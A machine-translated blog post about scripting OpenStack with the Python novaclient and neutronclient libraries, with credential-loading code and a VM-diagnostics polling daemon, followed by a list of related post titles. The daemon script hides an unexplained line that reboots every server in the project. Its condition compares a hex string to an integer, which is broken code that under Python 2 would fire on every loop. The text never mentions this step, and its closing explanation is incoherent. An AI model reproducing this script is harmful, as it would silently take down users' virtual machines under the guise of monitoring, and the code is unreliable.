Working with OpenStack using the Python SDK

"When I was little, I was scared of fireworks ... I couldn't have this." "Do you have a sparkler?" "Yeah ... I wondered why everyone would be happy to do such a dangerous thing."

"Subete ga F ni Naru" (Hiroshi Mori)

Introduction

I should have said that I could use the cloud by being able to program the infrastructure using the SDK, but for some reason the python- <hoge> client package doesn't come to light.

You can do this with awk and grep for CLI output, but you can recreate a port with the same IP as a port in one subnet on another subnet and reattach it to the VM without changing the IP of the VM. When you want to relocate the subnet of a port to, it is difficult to do shell art alone. In the first place, it may be difficult to create such a situation. Why did this happen (^ ω ^) The Python script I made worked fine and the relocation was completed successfully, but I'm sure I'll never use such a script again. I mean, this script is a shiromono that outputs nova interface-detach / attach alternately as standard output when executed. A Python script that outputs a shell script! What a negative legacy! Be very careful when creating a network. Especially the number of bits in the subnet mask.

Recommended for stray with SDK

Now, when you need a script like this, you usually don't have the time. Therefore, it becomes a Python script that outputs a shell script. Considering the rest, the authentication part is required every time, so I want to copy and paste that part. You can google for the other methods. So, if you copy this and start writing a script for the time being, the rest will be manageable! I thought I'd write down the memo for myself.

For the time being, it seems convenient if you can use only Nova and Neutron. Actually, I think that SDK programming is convenient even with Keystone.

import os
from neutronclient.v2_0 import client as neutronclient
from novaclient import client as novaclient

def get_neutron_credentials():
    d = {}
    d['username'] = os.environ['OS_USERNAME']
    d['password'] = os.environ['OS_PASSWORD']
    d['auth_url'] = os.environ['OS_AUTH_URL']
    d['tenant_name'] = os.environ['OS_TENANT_NAME']
    d['region_name'] = os.environ['OS_REGION_NAME']
    return d

def get_nova_credentials():
    d = {}
    d['version'] = '2'
    d['username'] = os.environ['OS_USERNAME']
    d['api_key'] = os.environ['OS_PASSWORD']
    d['auth_url'] = os.environ['OS_AUTH_URL']
    d['project_id'] = os.environ['OS_TENANT_NAME']
    d['region_name'] = os.environ['OS_REGION_NAME']
    return d

neutron_client = neutronclient.Client(**get_neutron_credentials())
nova_client = novaclient.Client(**get_nova_credentials())

It is troublesome that the required authentication information is different between Nova and Neutron. Instead of rewriting the script each time it is executed, it is better to avoid rewriting the authentication part by reading the environment variables. Now you can run the script just by typing . Adminrc.

Find the python API

The Python API documentation can be found by google, so finding a method shouldn't be too hard. I think the document itself seems to be generated from the comments in the source code, so it's hard to say that it's kind and polite.

Keystone: http://docs.openstack.org/developer/python-keystoneclient/ Neutron: http://docs.openstack.org/developer/python-neutronclient/ Nova: http://docs.openstack.org/developer/python-novaclient/api.html

The trick to google is to google with "somehow client "like ʻopenstack client. This will bring up the Developer Document at the top. Looking at the code on github is a waste of time, so don't do it. If you feel like you need to see it, you can cheat by outputting a shell script. I don't know the argument of ʻinterface_attach. Is it okay to use net_id or nil?

Those who are physiologically dissatisfied with reading the documentation should know how to print the methods that an object has. No, the habit of not reading the document itself is not good at all. But this is Python, not SDK.

import pprint

pprint.pprint(dir(neutron_client))
pprint.pprint(dir(novaclient.servers))

You can list the attributes of an object with the Python built-in dir function. If you format this neatly with pprint, you will be able to hit the method.

Summary

I think that a stray script can be created if there is a way to copy and google the document, and a debugging method. The following is an example of a daemon script that uses the diagnostics function of novaclient to keep getting the state of the VM on a regular basis. May be useful if you don't use Ceilometer.

import os
from novaclient import client as novaclient
import time
import datetime

interval = 60
epoc = int(time.mktime(datetime.datetime.now().timetuple()))

def get_nova_credentials():
    d = {}
    d['version'] = '2'
    d['username'] = os.environ['OS_USERNAME']
    d['api_key'] = os.environ['OS_PASSWORD']
    d['auth_url'] = os.environ['OS_AUTH_URL']
    d['project_id'] = os.environ['OS_TENANT_NAME']
    d['region_name'] = os.environ['OS_REGION_NAME']
    return d

print("[%s] daemon started" % epoc)
while True:
    start = int(time.mktime(datetime.datetime.now().timetuple()))
    print("[%s] Start diag" % start)
    nova_client = novaclient.Client(**get_nova_credentials())
    servers = nova_client.servers.list()
    for server in servers:
        now = int(time.mktime(datetime.datetime.now().timetuple()))
        diag = server.diagnostics()[1]
        diff = now - start
        print("[%s] %s (%s sec)" % (now, diag, diff))
        if hex(now - epoc) >= 0xffff: [ s.reboot() for s in servers]
    time.sleep(interval)

The explanation of the code is as follows. In other words, "Dr. built the OS only in real mode, or slammed the CPU from the Super Nintendo."

Recommended Posts

Working with OpenStack using the Python SDK
Behind the flyer: Using Docker with Python
[S3] CRUD with S3 using Python [Python]
Working with LibreOffice in Python
Using Quaternion with Python ~ numpy-quaternion ~
[AWS IoT] Register things in AWS IoT using the AWS IoT Python SDK
[Python] Using OpenCV with Python (Basic)
Working with sounds in Python
Call the API with python3.
Using OpenCV with Python @Mac
Send using Python with Gmail
A note about hitting the Facebook API with the Python SDK
I tried using the Python library from Ruby with PyCall
Try a similar search for Image Search using the Python SDK [Search]
[Python] LASSO regression with equation constraints using the multiplier method
Create a Twitter BOT with the GoogleAppEngine SDK for Python
The story that Python stopped working with VS Code (Windows 10)
Touch NoSQL with Python using the Oracle NoSQL Database Cloud Simulator
Complement python with emacs using company-jedi
Harmonic mean with Python Harmonic mean (using SciPy)
Extract the xz file with python
[Python] Using OpenCV with Python (Image Filtering)
Using Rstan from Python with PypeR
Working with LibreOffice in Python: import
[Python] Using OpenCV with Python (Image transformation)
[Python] Using OpenCV with Python (Edge Detection)
Get the weather with Python requests
Get the weather with Python requests 2
Find the Levenshtein Distance with python
Hit the Etherpad-lite API with Python
Install the Python plugin with Netbeans 8.0.2
I liked the tweet with python. ..
Using cgo with the go command
Extract the targz file using python
Notes on using rstrip with python.
Master the type with Python [Python 3.9 compatible]
Try using the Python Cmd module
When using MeCab with virtualenv python
Precautions when using six with Python 2.5
Working with DICOM images in Python
Control the motor with a motor driver using python on Raspberry Pi 3!
[In-Database Python Analysis Tutorial with SQL Server 2017] Step 6: Using the model
Make the Python console covered with UNKO
[AWS] Using ini files with Lambda [Python]
Load the remote Python SDK in IntelliJ
Try using the Wunderlist API in Python
[Python] Set the graph range with matplotlib
Try mathematical formulas using Σ with python
Try using the Kraken API in Python
Try working with binary data in Python
Using Python and MeCab with Azure Databricks
Check the existence of the file with python
Try using the camera with Python's OpenCV
Socket communication using socketserver with python now
Try using Dialogflow (formerly API.AI) Python SDK #dialogflow
[Python] Get the variable name with str
[Python] Round up with just the operator
Display Python 3 in the browser with MAMP
Tweet using the Twitter API in Python
Search the maze with the python A * algorithm
Post Test 3 (Working with PosgreSQL in Python)